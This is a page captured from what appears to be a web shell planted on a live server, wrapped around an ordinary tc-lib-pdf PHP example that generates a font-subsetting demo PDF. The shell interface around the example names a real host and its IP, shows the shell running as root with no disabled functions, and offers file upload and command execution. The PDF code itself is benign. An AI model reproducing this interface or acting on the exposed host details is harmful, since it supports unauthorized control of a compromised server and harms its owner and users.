403Webshell
Server IP : 139.59.63.204  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-s-1vcpu-1gb-blr1-01 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/abyogasms.com/vendor/tecnickcom/tc-lib-pdf/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/abyogasms.com/vendor/tecnickcom/tc-lib-pdf/examples/E068_font_subset.php
<?php

/**
 * E068_font_subset.php
 *
 * @since       2026-05-04
 * @category    Library
 * @package     Pdf
 * @author      Nicola Asuni <info@tecnick.com>
 * @copyright   2002-2026 Nicola Asuni - Tecnick.com LTD
 * @license     https://www.gnu.org/copyleft/lesser.html GNU-LGPL v3 (see LICENSE.TXT)
 * @link        https://github.com/tecnickcom/tc-lib-pdf
 *
 * This file is part of tc-lib-pdf software library.
 */

// NOTE: run make deps fonts in the project root to generate the dependencies and example fonts.

// autoloader when using Composer
require __DIR__ . '/../vendor/autoload.php';

// define fonts directory
\define('K_PATH_FONTS', \realpath(__DIR__ . '/../vendor/tecnickcom/tc-lib-pdf-font/target/fonts'));

// main TCPDF object with font subsetting enabled
$pdf = new \Com\Tecnick\Pdf\Tcpdf(
    unit: 'mm',
    isunicode: true,
    subsetfont: true,
    compress: true,
    mode: '',
    objEncrypt: null,
);

$pdf->setCreator('tc-lib-pdf');
$pdf->setAuthor('Nicola Asuni');
$pdf->setSubject('tc-lib-pdf example: 068');
$pdf->setTitle('Font Subsetting Example');
$pdf->setKeywords('TCPDF tc-lib-pdf example font subsetting');
$pdf->setPDFFilename('068_font_subset.pdf');

// Insert DejaVu Sans font for subsetting test
$bfont = $pdf->font->insert($pdf->pon, 'dejavusans', '', 12);

// Add first page
$page = $pdf->addPage();

// Add font to the page
$pdf->page->addContent($bfont['out']);

// HTML content demonstrating varied character sets for subsetting
$html = <<<'EOD'
    <h1>Font Subsetting Example</h1>
    <p>This document demonstrates <b>font subsetting</b> with DejaVu Sans font.</p>
    <p>Font subsetting reduces the file size by including only the characters 
    that are actually used in the document, rather than embedding the entire font.</p>

    <h2>Character Sets</h2>
    <p><b>English:</b> THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG - the quick brown fox jumps over the lazy dog.</p>
    <p><b>Numbers:</b> 0123456789 · π ≈ 3.14159</p>
    <p><b>Punctuation:</b> !@#$%^&*()[]{}–—«»‹›„“”‚‘’"'</p>
    <p><b>Symbols:</b> © ® ™ € £ ¥ ¢ § ¶ • ‰</p>

    <h2>Benefits of Font Subsetting</h2>
    <ul>
    <li>Reduced PDF file size</li>
    <li>Faster document transmission</li>
    <li>Only embedded characters are included</li>
    <li>Maintains font fidelity for used characters</li>
    </ul>

    <h2>Text Samples</h2>
    <p>Regular text in DejaVu Sans font for testing character coverage.</p>
    <p><b>Bold text</b> is also included in the subset.</p>
    EOD;

// render the HTML content
$pdf->addHTMLCell(html: $html, posx: 15, posy: 15, width: 180);

// Get the PDF content
$rawpdf = $pdf->getOutPDFString();

// Render the PDF content
$pdf->renderPDF(rawpdf: $rawpdf);

Youez - 2016 - github.com/yon3zu
LinuXploit